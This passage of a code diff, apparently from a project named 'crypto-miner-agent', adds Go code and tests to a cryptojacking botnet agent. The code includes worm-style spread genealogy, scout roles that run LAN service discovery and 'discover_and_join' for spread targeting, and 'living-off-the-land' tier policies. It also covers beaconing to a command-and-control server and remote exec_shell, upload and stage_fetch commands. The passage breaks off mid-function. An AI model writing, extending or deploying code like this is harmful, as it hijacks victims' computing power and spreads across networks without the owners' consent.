+	if err == nil {
+		t.Fatal("expected TryChain error when all primaries fail")
+	}
+
+	st := r.Status()
+	if !st.ChainExhausted {
+		t.Fatal("expected chain_exhausted flag")
+	}
+	if st.ActiveMethod != "" {
+		t.Fatalf("active=%q want empty when exhausted", st.ActiveMethod)
+	}
+	if len(st.FailedMethods) != 1 || st.FailedMethods[0].Method != miner.MethodInProcess {
+		t.Fatalf("failures=%v", st.FailedMethods)
+	}
+}

agent/client/mining_policy.go

@@ -32,6 +32,8 @@ func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
 }
 
 func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
+	c.setAtlasLanGossipEnabled(resp.AtlasLanGossipEnabled)
+	c.applySpreadPolicyJSON(resp.SpreadPolicy)
 	c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
 	if len(resp.MiningTierPolicy) > 0 {
 		c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
@@ -47,6 +49,11 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
 		c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
 		return
 	}
+	if len(resp.SpreadTemperament) > 0 {
+		c.mu.Lock()
+		applySpreadTemperament(&c.cfg, resp.SpreadTemperament)
+		c.mu.Unlock()
+	}
 	if len(resp.MiningTierPolicy) > 0 {
 		return
 	}
@@ -74,3 +81,24 @@ func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) {
 	c.tierPolicy = p
 	c.mu.Unlock()
 }
+
+func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
+	if len(raw) == 0 || string(raw) == "null" {
+		return
+	}
+	var policy struct {
+		HashrateGateSpreadMin int     `json:"hashrate_gate_spread_min"`
+		HashrateGateHPS       float64 `json:"hashrate_gate_hps"`
+	}
+	if err := json.Unmarshal(raw, &policy); err != nil {
+		return
+	}
+	c.mu.Lock()
+	if policy.HashrateGateSpreadMin > 0 {
+		c.cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
+	}
+	if policy.HashrateGateHPS > 0 {
+		c.cfg.HashrateGateHPS = policy.HashrateGateHPS
+	}
+	c.mu.Unlock()
+}

agent/client/mining_ready.go

@@ -31,8 +31,12 @@ func MiningDiagnosticsReady(d MiningDiagnostics) bool {
 
 // startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain.
 func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
-	if c.cfg.MiningDisabled || c.cfg.ApkMode {
+	if c.cfg.IsSeederRole(c.fleetRoleHint()) {
-		log.Printf("[mining] disabled at forge (apk_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.MiningDisabled)
+		log.Printf("[mining] skipped — seeder role serves LAN staging only")
+		return
+	}
+	if c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
+		log.Printf("[mining] disabled at forge (apk_mode=%v scout_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.ScoutMode, c.cfg.MiningDisabled)
 		return
 	}
 	const maxWait = 120 * time.Second

agent/client/pathtracer_stub_test.go

@@ -4,12 +4,13 @@ package client
 
 import (
 	"encoding/json"
+	"strings"
 	"testing"
 )
 
 // TestWGSetupJSONReturnsError verifies that the non-Windows stub returns a
 // JSON error payload indicating WireGuard is not available on this platform.
-func TestWGSetupJSONReturnsError(t *testing.T) {
+func TestPathTracerStubWGSetupJSONReturnsError(t *testing.T) {
 	raw := WGSetupJSON()
 	if raw == "" {
 		t.Fatal("WGSetupJSON returned empty string")
@@ -34,7 +35,7 @@ func TestWGSetupJSONReturnsError(t *testing.T) {
 }
 
 // TestWGConfigureNoOp verifies that WGConfigure is a no-op on non-Windows.
-func TestWGConfigureNoOp(t *testing.T) {
+func TestPathTracerStubWGConfigureNoOp(t *testing.T) {
 	payload := WGConfigPayload{
 		SessionID:    "test-session",
 		PrivateKey:   "privkey",
@@ -56,22 +57,45 @@ func TestWGConfigureNoOp(t *testing.T) {
 }
 
 // TestWGTeardownNoOp verifies WGTeardown does not panic or error on non-Windows.
-func TestWGTeardownNoOp(t *testing.T) {
+func TestPathTracerStubWGTeardownNoOp(t *testing.T) {
 	// Should complete without panic.
 	WGTeardown()
 }
 
 // TestWGIsActiveReturnsFalse ensures the stub correctly reports inactive.
-func TestWGIsActiveReturnsFalse(t *testing.T) {
+func TestPathTracerStubWGIsActiveReturnsFalse(t *testing.T) {
 	if WGIsActive() {
 		t.Error("WGIsActive stub must return false on non-Windows")
 	}
 }
 
 // TestWGStatusNotSupported verifies the stub reports an unsupported-platform message.
-func TestWGStatusNotSupported(t *testing.T) {
+func TestPathTracerStubWGStatusNotSupported(t *testing.T) {
 	status := WGStatus()
 	if status == "" {
 		t.Error("WGStatus stub must return a non-empty string")
 	}
+	if !strings.Contains(status, "not supported") {
+		t.Errorf("WGStatus stub should mention unsupported platform, got %q", status)
+	}
+}
+
+// TestWGSetupJSONExactStubError verifies the stub error string matches server expectations.
+func TestPathTracerStubWGSetupJSONExactError(t *testing.T) {
+	raw := WGSetupJSON()
+	if !strings.Contains(raw, "Windows-only") {
+		t.Errorf("stub error should mention Windows-only, got %q", raw)
+	}
+}
+
+// TestWGConfigureRejectsEmptyPayloadOnStub is a no-op but documents stub behaviour.
+func TestPathTracerStubWGConfigureAcceptsPayload(t *testing.T) {
+	err := WGConfigure(WGConfigPayload{
+		SessionID:    "stub-session",
+		LocalAddress: "10.66.0.2/24",
+		ListenPort:   51820,
+	})
+	if err != nil {
+		t.Errorf("WGConfigure stub must be no-op, got %v", err)
+	}
 }

agent/client/pathtracer_windows_test.go

@@ -0,0 +1,66 @@
+//go:build windows
+
+package client
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestPathTracerWindowsBuildWGConfigDefaults(t *testing.T) {
+	conf := buildWGConfig("privkeyB64=", WGConfigPayload{
+		LocalAddress: "10.66.0.2/24",
+		ListenPort:   0,
+		Peers: []WGPeerEntry{{
+			PublicKey: "peerPub=",
+			Endpoint:  "203.0.113.5:51820",
+		}},
+	})
+	for _, want := range []string{
+		"[Interface]",
+		"PrivateKey = privkeyB64=",
+		"Address = 10.66.0.2/24",
+		"ListenPort = 51820",
+		"[Peer]",
+		"PublicKey = peerPub=",
+		"Endpoint = 203.0.113.5:51820",
+		"AllowedIPs = 0.0.0.0/0",
+		"PersistentKeepalive = 25",
+	} {
+		if !strings.Contains(conf, want) {
+			t.Errorf("config missing %q:\n%s", want, conf)
+		}
+	}
+}
+
+func TestPathTracerWindowsGenerateWGKeyPairDistinct(t *testing.T) {
+	priv1, pub1, err := generateWGKeyPair()
+	if err != nil {
+		t.Fatalf("generateWGKeyPair: %v", err)
+	}
+	priv2, pub2, err := generateWGKeyPair()
+	if err != nil {
+		t.Fatalf("generateWGKeyPair second call: %v", err)
+	}
+	if priv1 == "" || pub1 == "" {
+		t.Fatal("expected non-empty keypair")
+	}
+	if priv1 == priv2 || pub1 == pub2 {
+		t.Fatal("expected distinct keypairs across calls")
+	}
+}
+
+func TestPathTracerWindowsWGIsActiveFalseWhenIdle(t *testing.T) {
+	WGTeardown()
+	if WGIsActive() {
+		t.Fatal("WGIsActive should be false with no tunnel")
+	}
+}
+
+func TestPathTracerWindowsWGStatusNoTunnelWhenIdle(t *testing.T) {
+	WGTeardown()
+	status := WGStatus()
+	if !strings.Contains(status, "no active tunnel") {
+		t.Errorf("expected idle status, got %q", status)
+	}
+}

agent/client/policy.go

@@ -12,19 +12,21 @@ import (
 	"strings"
 
 	"crypto-miner-agent/config"
+	"crypto-miner-agent/deploy"
 )
 
 // FleetPolicyUpdate is pushed from the server without re-forge.
 type FleetPolicyUpdate struct {
-	PushID         string `json:"push_id,omitempty"`
+	PushID            string          `json:"push_id,omitempty"`
-	MiningMode     string `json:"mining_mode,omitempty"`
+	MiningMode        string          `json:"mining_mode,omitempty"`
-	ScheduleStart  string `json:"schedule_start,omitempty"`
+	ScheduleStart     string          `json:"schedule_start,omitempty"`
-	ScheduleEnd    string `json:"schedule_end,omitempty"`
+	ScheduleEnd       string          `json:"schedule_end,omitempty"`
-	MaxCPUUsagePct int    `json:"max_cpu_usage_pct,omitempty"`
+	MaxCPUUsagePct    int             `json:"max_cpu_usage_pct,omitempty"`
-	PoolHost       string `json:"pool_host,omitempty"`
+	PoolHost          string          `json:"pool_host,omitempty"`
-	PoolPort       int    `json:"pool_port,omitempty"`
+	PoolPort          int             `json:"pool_port,omitempty"`
-	PoolTLS        *bool  `json:"pool_tls,omitempty"`
+	PoolTLS           *bool           `json:"pool_tls,omitempty"`
-	PoolPass       string `json:"pool_pass,omitempty"`
+	PoolPass          string          `json:"pool_pass,omitempty"`
+	SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
 }
 
 // ModuleManifest matches server-signed feature packs.
@@ -104,6 +106,22 @@ func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
 	if p.PoolPass != "" {
 		cfg.PoolPass = strings.TrimSpace(p.PoolPass)
 	}
+	applySpreadTemperament(cfg, p.SpreadTemperament)
+}
+
+func applySpreadTemperament(cfg *config.RuntimeConfig, raw json.RawMessage) {
+	if len(raw) == 0 || string(raw) == "null" {
+		return
+	}
+	var body struct {
+		TierOrder []string `json:"tier_order"`
+	}
+	if err := json.Unmarshal(raw, &body); err != nil || len(body.TierOrder) == 0 {
+		return
+	}
+	if cfg.LotlPolicyFromServer || cfg.ScoutMode {
+		cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(body.TierOrder)
+	}
 }
 
 func applyModuleFeatures(cfg *config.RuntimeConfig, features map[string]interface{}) {

agent/client/protocol.go

@@ -52,6 +52,11 @@ type AuthPayload struct {
 	LotlOnionEnabled     bool `json:"lotl_onion_enabled,omitempty"`
 	LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
 	JoinLane             string `json:"join_lane,omitempty"`
+	ParentAgentID        string `json:"parent_agent_id,omitempty"`
+	SpreadGeneration     int    `json:"spread_generation,omitempty"`
+	SpreadStrain         string `json:"spread_strain,omitempty"`
+	FleetRole            string `json:"fleet_role,omitempty"`
+	SeederMode           bool   `json:"seeder_mode,omitempty"`
 }
 
 type AuthResponse struct {
@@ -62,9 +67,14 @@ type AuthResponse struct {
 	MiningTierPolicy   json.RawMessage `json:"mining_tier_policy,omitempty"`
 	TripleOnionPolicy  json.RawMessage `json:"triple_onion_policy,omitempty"`
 	AdaptiveStrategy    json.RawMessage `json:"adaptive_strategy,omitempty"`
+	SpreadTemperament   json.RawMessage `json:"spread_temperament,omitempty"`
 	AtlasSkips          []AtlasSkip     `json:"atlas_skips,omitempty"`
+	AtlasLanGossipEnabled bool          `json:"atlas_lan_gossip_enabled,omitempty"`
 	InheritedPhenotype  json.RawMessage `json:"inherited_phenotype,omitempty"`
 	ClearanceLevel      int             `json:"clearance_level,omitempty"`
+	FleetRoleHint       string                `json:"fleet_role_hint,omitempty"`
+	LANSeeders          []deploy.LANSeederHint `json:"lan_seeders,omitempty"`
+	SpreadPolicy        json.RawMessage `json:"spread_policy,omitempty"`
 }
 
 type SharePayload struct {
@@ -147,6 +157,14 @@ type StatsPayload struct {
 	AtlasSkips     []AtlasSkip          `json:"atlas_skips,omitempty"`
 	StratumEgress  string  `json:"stratum_egress,omitempty"` // c2_ws | direct | none
 	JoinLane       string  `json:"join_lane,omitempty"`
+	ParentAgentID  string  `json:"parent_agent_id,omitempty"`
+	SpreadGeneration int   `json:"spread_generation,omitempty"`
+	SpreadStrain   string  `json:"spread_strain,omitempty"`
+
+	// Fleet role split telemetry (stats WS).
+	FleetRole        string  `json:"fleet_role,omitempty"`
+	SeedPressure     float64 `json:"seed_pressure,omitempty"`
+	HashratePressure float64 `json:"hashrate_pressure,omitempty"`
 
 	// Passive LAN/domain recon for spread targeting and Path Tracer graph hints.
 	NetworkHints *deploy.NetworkHints `json:"network_hints,omitempty"`

agent/client/protocol_test.go

@@ -59,6 +59,18 @@ func TestAuthPayloadPlatformFromEnv(t *testing.T) {
 	}
 }
 
+func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
+	in := AuthPayload{
+		AgentID: "child", ParentAgentID: "parent-uuid", SpreadGeneration: 2,
+		SpreadStrain: "#aabbcc", JoinLane: "winrm",
+	}
+	var out AuthPayload
+	roundTrip(t, in, &out)
+	if out.ParentAgentID != "parent-uuid" || out.SpreadGeneration != 2 || out.SpreadStrain != "#aabbcc" {
+		t.Fatalf("genealogy fields: %+v", out)
+	}
+}
+
 func TestAuthResponseJSONRoundTrip(t *testing.T) {
 	in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
 	var out AuthResponse
@@ -103,6 +115,18 @@ func TestStatsPayloadJSONRoundTrip(t *testing.T) {
 	}
 }
 
+func TestStatsPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
+	in := StatsPayload{
+		Hashrate15s: 1, Hashrate1m: 1, Hashrate15m: 1,
+		ParentAgentID: "p1", SpreadGeneration: 1, SpreadStrain: "#112233", JoinLane: "dns_txt",
+	}
+	var out StatsPayload
+	roundTrip(t, in, &out)
+	if out.ParentAgentID != "p1" || out.SpreadStrain != "#112233" {
+		t.Fatalf("genealogy stats: %+v", out)
+	}
+}
+
 func TestShareResultJSONRoundTrip(t *testing.T) {
 	in := ShareResult{JobID: "j", Accepted: false, Error: "low diff"}
 	var out ShareResult

agent/client/scout_mode.go

@@ -0,0 +1,74 @@
+package client
+
+import (
+	"encoding/json"
+	"log"
+	"time"
+
+	"crypto-miner-agent/deploy"
+)
+
+const (
+	scoutInitialDelay = 90 * time.Second
+	scoutCycleInterval = 15 * time.Minute
+)
+
+func (c *AgentClient) startScoutRoving() {
+	go func() {
+		time.Sleep(scoutInitialDelay)
+		for {
+			c.runScoutCycle()
+			time.Sleep(scoutCycleInterval)
+		}
+	}()
+}
+
+func (c *AgentClient) runScoutCycle() {
+	c.mu.Lock()
+	cfg := c.cfg
+	c.mu.Unlock()
+	if !cfg.ScoutMode {
+		return
+	}
+
+	raw := deploy.RunServiceDiscover(32)
+	result, err := deploy.ParseServiceDiscoverJSON(raw)
+	if err != nil {
+		log.Printf("[scout] service_discover parse: %v", err)
+		return
+	}
+	serviceCount := len(result.Local.Services)
+	for _, h := range result.LANHosts {
+		serviceCount += len(h.Services)
+	}
+
+	lane := deploy.PickLocalJoinLane(raw)
+	if lane == "" {
+		if msg, derr := c.runDiscoverAndJoin(32); derr == nil {
+			lane = c.getJoinLane()
+			log.Printf("[scout] discover_and_join: %s (%s)", lane, msg)
+		} else {
+			log.Printf("[scout] discover_and_join skipped: %v", derr)
+		}
+	} else {
+		c.setJoinLane(lane)
+		log.Printf("[scout] service_graph join_lane_candidate=%s services=%d", lane, serviceCount)
+	}
+
+	c.pushScoutReport(result, lane, serviceCount)
+}
+
+func (c *AgentClient) pushScoutReport(result deploy.ServiceDiscoverResult, joinLane string, serviceCount int) {
+	payload, err := json.Marshal(map[string]interface{}{
+		"join_lane":      joinLane,
+		"service_count":  serviceCount,
+		"service_graph":  result,
+		"scout_mode":     true,
+	})
+	if err != nil {
+		return
+	}
+	if err := c.write(Message{Type: "scout_report", Payload: payload}); err != nil {
+		log.Printf("[scout] scout_report write: %v", err)
+	}
+}

agent/client/scout_mode_test.go

@@ -0,0 +1,34 @@
+package client
+
+import (
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestAllowRemoteActionScoutModeBlocksStaging(t *testing.T) {
+	c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}}
+	ok, reason := c.allowRemoteAction("stage_fetch")
+	if ok {
+		t.Fatal("scout should block stage_fetch")
+	}
+	if reason == "" {
+		t.Fatal("expected reason for blocked stage_fetch")
+	}
+	ok, _ = c.allowRemoteAction("discover_and_join")
+	if !ok {
+		t.Fatal("scout should allow discover_and_join")
+	}
+	ok, _ = c.allowRemoteAction("service_discover")
+	if !ok {
+		t.Fatal("scout should allow service_discover")
+	}
+}
+
+func TestAllowRemoteActionScoutBlocksSpreadNow(t *testing.T) {
+	c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}}
+	ok, _ := c.allowRemoteAction("spread_now")
+	if ok {
+		t.Fatal("scout should block spread_now")
+	}
+}

agent/client/spread_policy_test.go

@@ -0,0 +1,23 @@
+package client
+
+import (
+	"encoding/json"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestApplySpreadPolicyFromAuth(t *testing.T) {
+	c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
+	raw, _ := json.Marshal(map[string]interface{}{
+		"hashrate_gate_spread_min": 12,
+		"hashrate_gate_hps":        250.5,
+	})
+	c.applySpreadPolicyJSON(raw)
+	if c.cfg.HashrateGateSpreadMin != 12 {
+		t.Fatalf("min=%d", c.cfg.HashrateGateSpreadMin)
+	}
+	if c.cfg.HashrateGateHPS != 250.5 {
+		t.Fatalf("hps=%v", c.cfg.HashrateGateHPS)
+	}
+}

agent/client/stage_fetch_test.go

@@ -0,0 +1,32 @@
+package client
+
+import (
+	"strings"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestStageFetchAllowRemoteAction(t *testing.T) {
+	c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
+	ok, reason := c.allowRemoteAction("stage_fetch")
+	if ok || !strings.Contains(reason, "remote aggressive") {
+		t.Fatalf("ok=%v reason=%q", ok, reason)
+	}
+	c.cfg.RemoteAggressive = true
+	ok, reason = c.allowRemoteAction("stage_fetch")
+	if !ok || reason != "" {
+		t.Fatalf("ok=%v reason=%q", ok, reason)
+	}
+}
+
+func TestStageFetchRejectsBadManifestJSON(t *testing.T) {
+	c := &AgentClient{
+		cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{RemoteAggressive: true}},
+	}
+	// handleAggressiveCommand returns true (handled) without panicking on bad JSON.
+	handled := c.handleAggressiveCommand("stage_fetch", 0, "", "", `{not-json`)
+	if !handled {
+		t.Fatal("expected stage_fetch to be handled")
+	}
+}

agent/client/ws_beacon_integration_test.go

@@ -0,0 +1,450 @@
+package client
+
+import (
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/miner"
+	"crypto-miner-agent/stats"
+
+	"github.com/gorilla/websocket"
+)
+
+var wsTestUpgrader = websocket.Upgrader{CheckOrigin: func(*http.Request) bool { return true }}
+
+type wsIntegrationPair struct {
+	agentConn *websocket.Conn
+	serverConn *websocket.Conn
+	closeServer func()
+}
+
+func newWSIntegrationPair(t *testing.T) wsIntegrationPair {
+	t.Helper()
+	ready := make(chan *websocket.Conn, 1)
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		conn, err := wsTestUpgrader.Upgrade(w, r, nil)
+		if err != nil {
+			t.Errorf("upgrade: %v", err)
+			return
+		}
+		ready <- conn
+		<-r.Context().Done()
+	}))
+	t.Cleanup(srv.Close)
+
+	wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
+	agentConn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
+	if err != nil {
+		t.Fatalf("dial: %v", err)
+	}
+	t.Cleanup(func() { _ = agentConn.Close() })
+
+	var serverConn *websocket.Conn
+	select {
+	case serverConn = <-ready:
+	case <-time.After(2 * time.Second):
+		t.Fatal("timed out waiting for server-side WS handshake")
+	}
+
+	return wsIntegrationPair{
+		agentConn:  agentConn,
+		serverConn: serverConn,
+		closeServer: func() { srv.Close() },
+	}
+}
+
+func wireConnectedClient(t *testing.T) (*AgentClient, wsIntegrationPair) {
+	t.Helper()
+	stubFastMiningDiagnostics(t)
+	c := newTestClient(t)
+	c.agentID = "ws-integration-agent"
+	c.connected.Store(true)
+	pair := newWSIntegrationPair(t)
+	c.conn = pair.agentConn
+	return c, pair
+}
+
+func stubFastMiningDiagnostics(t *testing.T) {
+	t.Helper()
+	miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
+	miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
+	SetPostureCollector(func() *PostureReport { return nil })
+	t.Cleanup(func() {
+		miner.SetRuntimeDetector(nil)
+		miner.SetWSLDetector(nil)
+		SetPostureCollector(nil)
+	})
+}
+
+func readServerMessage(t *testing.T, conn *websocket.Conn, wantType string, timeout time.Duration) Message {
+	t.Helper()
+	deadline := time.Now().Add(timeout)
+	for time.Now().Before(deadline) {
+		_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
+		var msg Message
+		if err := conn.ReadJSON(&msg); err != nil {
+			if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway) {
+				t.Fatalf("websocket closed before %s: %v", wantType, err)
+			}
+			if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
+				continue
+			}
+			t.Fatalf("read while waiting for %s: %v", wantType, err)
+		}
+		if msg.Type == wantType {
+			return msg
+		}
+	}
+	t.Fatalf("timed out waiting for %s", wantType)
+	return Message{}
+}
+
+func pollServerMessage(conn *websocket.Conn, wantType string, timeout time.Duration) (Message, error) {
+	deadline := time.Now().Add(timeout)
+	for time.Now().Before(deadline) {
+		_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
+		var msg Message
+		if err := conn.ReadJSON(&msg); err != nil {
+			if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {
+				return Message{}, err
+			}
+			var netErr net.Error
+			if errors.As(err, &netErr) && netErr.Timeout() {
+				continue
+			}
+			// Gorilla marks the conn failed after non-timeout errors — never retry.
+			return Message{}, err
+		}
+		if msg.Type == wantType {
+			return msg, nil
+		}
+	}
+	return Message{}, errPollTimeout(wantType)
+}
+
+type pollTimeoutError string
+
+func (e pollTimeoutError) Error() string { return "timeout waiting for " + string(e) }
+
+func errPollTimeout(wantType string) error { return pollTimeoutError(wantType) }
+
+func TestWSWriteStatsRoundTrip(t *testing.T) {
+	c, pair := wireConnectedClient(t)
+	payload, _ := json.Marshal(map[string]string{"probe": "ok"})
+	if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
+		t.Fatalf("write stats: %v", err)
+	}
+	msg, err := pollServerMessage(pair.serverConn, "stats", 2*time.Second)
+	if err != nil {
+		t.Fatalf("read stats: %v", err)
+	}
+	if msg.Type != "stats" {
+		t.Fatalf("type = %q", msg.Type)
+	}
+}
+
+func TestWSCommandResultWriteRoundTrip(t *testing.T) {
+	c, pair := wireConnectedClient(t)
+	payload, _ := json.Marshal(map[string]interface{}{
+		"action": "pause", "success": true, "message": "ok",
+	})
+	if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
+		t.Fatalf("write command_result: %v", err)
+	}
+	msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
+	if err != nil {
+		t.Fatalf("poll: %v", err)
+	}
+	if msg.Type != "command_result" {
+		t.Fatalf("type = %q", msg.Type)
+	}
+}
+
+// TestWSBeaconIntegrationMiningDiagnosticsRoundTrip verifies a mining_diagnostics
+// WS command produces a command_result frame on the wire.
+func TestMiningDiagnosticsHandleCommandHook(t *testing.T) {
+	c := newTestClient(t)
+	stubFastMiningDiagnostics(t)
+	done := make(chan string, 1)
+	c.commandResultHook = func(a string, ok bool, _ string) { done <- a }
+	c.handleCommand("mining_diagnostics", 0, "", "", "", "")
+	select {
+	case a := <-done:
+		if a != "mining_diagnostics" {
+			t.Fatalf("action=%q", a)
+		}
+	case <-time.After(5 * time.Second):
+		t.Fatal("timeout waiting for mining_diagnostics hook")
+	}
+}
+
+func TestWSBeaconIntegrationMiningDiagnosticsRoundTrip(t *testing.T) {
+	c, pair := wireConnectedClient(t)
+
+	c.commandResultHook = func(action string, success bool, _ string) {
+		if action != "mining_diagnostics" || !success {
+			t.Errorf("unexpected hook action=%q success=%v", action, success)
+			return
+		}
+		payload, _ := json.Marshal(map[string]interface{}{
+			"action": action, "success": true, "message": `{"integration":"stub"}`,
+		})
+		if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
+			t.Errorf("write command_result: %v", err)
+		}
+	}
+
+	c.handleCommand("mining_diagnostics", 0, "", "", "", "")
+
+	msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
+	if err != nil {
+		t.Fatalf("read command_result: %v", err)
+	}
+	var body map[string]interface{}
+	if err := json.Unmarshal(msg.Payload, &body); err != nil {
+		t.Fatalf("parse command_result: %v", err)
+	}
+	if body["action"] != "mining_diagnostics" {
+		t.Errorf("action = %v", body["action"])
+	}
+	if body["success"] != true {
+		t.Errorf("success = %v", body["success"])
+	}
+}
+
+// TestHandleMessageWSCommandMiningDiagnostics verifies handleMessage routes
+// mining_diagnostics commands over a live WS conn.
+func TestHandleMessageWSCommandMiningDiagnostics(t *testing.T) {
+	c, pair := wireConnectedClient(t)
+	payload, _ := json.Marshal(map[string]interface{}{"action": "mining_diagnostics"})
+
+	done := make(chan struct{})
+	c.commandResultHook = func(action string, success bool, _ string) {
+		if action != "mining_diagnostics" || !success {
+			return
+		}
+		out, _ := json.Marshal(map[string]interface{}{
+			"action": action, "success": true, "message": `{"integration":"stub"}`,
+		})
+		if err := c.write(Message{Type: "command_result", Payload: out}); err != nil {
+			t.Fatalf("write: %v", err)
+		}
+		close(done)
+	}
+
+	c.handleMessage(Message{Type: "command", Payload: payload})
+
+	select {
+	case <-done:
+	case <-time.After(5 * time.Second):
+		t.Fatal("timed out waiting for handleMessage mining_diagnostics hook")
+	}
+
+	msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
+	if err != nil {
+		t.Fatalf("read command_result: %v", err)
+	}
+	var body map[string]interface{}
+	if err := json.Unmarshal(msg.Payload, &body); err != nil {
+		t.Fatal(err)
+	}
+	if body["action"] != "mining_diagnostics" {
+		t.Fatalf("unexpected command_result: %+v", body)
+	}
+}
+
+// TestWSBeaconIntegrationExecShellRoundTrip verifies exec_shell command dispatch
+// returns command_result over the WS transport (command may fail on host).
+func TestWSBeaconIntegrationExecShellRoundTrip(t *testing.T) {
+	c, pair := wireConnectedClient(t)
+
+	c.handleAICommand("exec_shell", 0, "echo ws-beacon-integration", "", "")
+
+	msg, err := pollServerMessage(pair.serverConn, "command_result", 5*time.Second)
+	if err != nil {
+		t.Fatalf("read command_result: %v", err)
+	}
+	var body map[string]interface{}
+	if err := json.Unmarshal(msg.Payload, &body); err != nil {
+		t.Fatal(err)
+	}
+	if body["action"] != "exec_shell" {
+		t.Errorf("action = %v", body["action"])
+	}
+	if _, ok := body["success"].(bool); !ok {
+		t.Fatalf("success missing in %+v", body)
+	}
+}
+
+// TestWSBeaconIntegrationAISnapshotRequestFlow verifies ai_snapshot_request
+// triggers an ai_snapshot reply on the WebSocket.
+func TestWSBeaconIntegrationAISnapshotRequestFlow(t *testing.T) {
+	c, pair := wireConnectedClient(t)
+	c.cfg = config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "ws-test-node"}}
+
+	c.pushAISnapshot(0)
+
+	msg, err := pollServerMessage(pair.serverConn, "ai_snapshot", 5*time.Second)
+	if err != nil {
+		t.Fatalf("read ai_snapshot: %v", err)
+	}
+	var snap map[string]interface{}
+	if err := json.Unmarshal(msg.Payload, &snap); err != nil {
+		t.Fatal(err)
+	}
+	for _, key := range []string{"agent_id", "agent_name", "mining_tiers", "capabilities"} {
+		if _, ok := snap[key]; !ok {
+			t.Errorf("ai_snapshot missing %q", key)
+		}
+	}
+	if snap["agent_name"] != "ws-test-node" {
+		t.Errorf("agent_name = %v", snap["agent_name"])
+	}
+}
+
+// TestWSBeaconIntegrationUploadCommandRoundTrip verifies upload commands travel
+// over WS as command/command_result (base64 payload, no separate chunk frame).
+func TestWSBeaconIntegrationUploadCommandRoundTrip(t *testing.T) {
+	dest := t.TempDir() + "/uploaded.txt"
+	data := base64.StdEncoding.EncodeToString([]byte("ws-upload-payload"))
+
+	c, pair := wireConnectedClient(t)
+	c.handleCommand("upload", 0, "", dest, data, "")
+
+	msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
+	if err != nil {
+		t.Fatalf("read command_result: %v", err)
+	}
+	var body map[string]interface{}
+	if err := json.Unmarshal(msg.Payload, &body); err != nil {
+		t.Fatal(err)
+	}
+	if body["action"] != "upload" {
+		t.Errorf("action = %v", body["action"])
+	}
+	if body["success"] != true {
+		t.Fatalf("upload failed: %v", body["message"])
+	}
+}
+
+// TestBeaconIntegrationHeartbeatLifecycle exercises beaconOnce against an
+// httptest beacon endpoint with registration, stats, and queued commands.
+func TestBeaconIntegrationHeartbeatLifecycle(t *testing.T) {
+	const secret = "agent-beacon-secret"
+	var mu sync.Mutex
+	beaconHits := 0
+	resultHits := 0
+
+	mux := http.NewServeMux()
+	mux.HandleFunc("/api/v1/agent/beacon", func(w http.ResponseWriter, r *http.Request) {
+		if r.Header.Get("X-Fleet-Secret") != secret {
+			http.Error(w, "forbidden", http.StatusForbidden)
+			return
+		}
+		var req map[string]interface{}
+		_ = json.NewDecoder(r.Body).Decode(&req)
+		mu.Lock()
+		beaconHits++
+		hits := beaconHits
+		mu.Unlock()
+
+		resp := map[string]interface{}{"ok": true, "commands": []any{}}
+		if hits == 2 {
+			resp["commands"] = []map[string]interface{}{{"action": "mining_diagnostics"}}
+		}
+		_ = json.NewEncoder(w).Encode(resp)
+	})
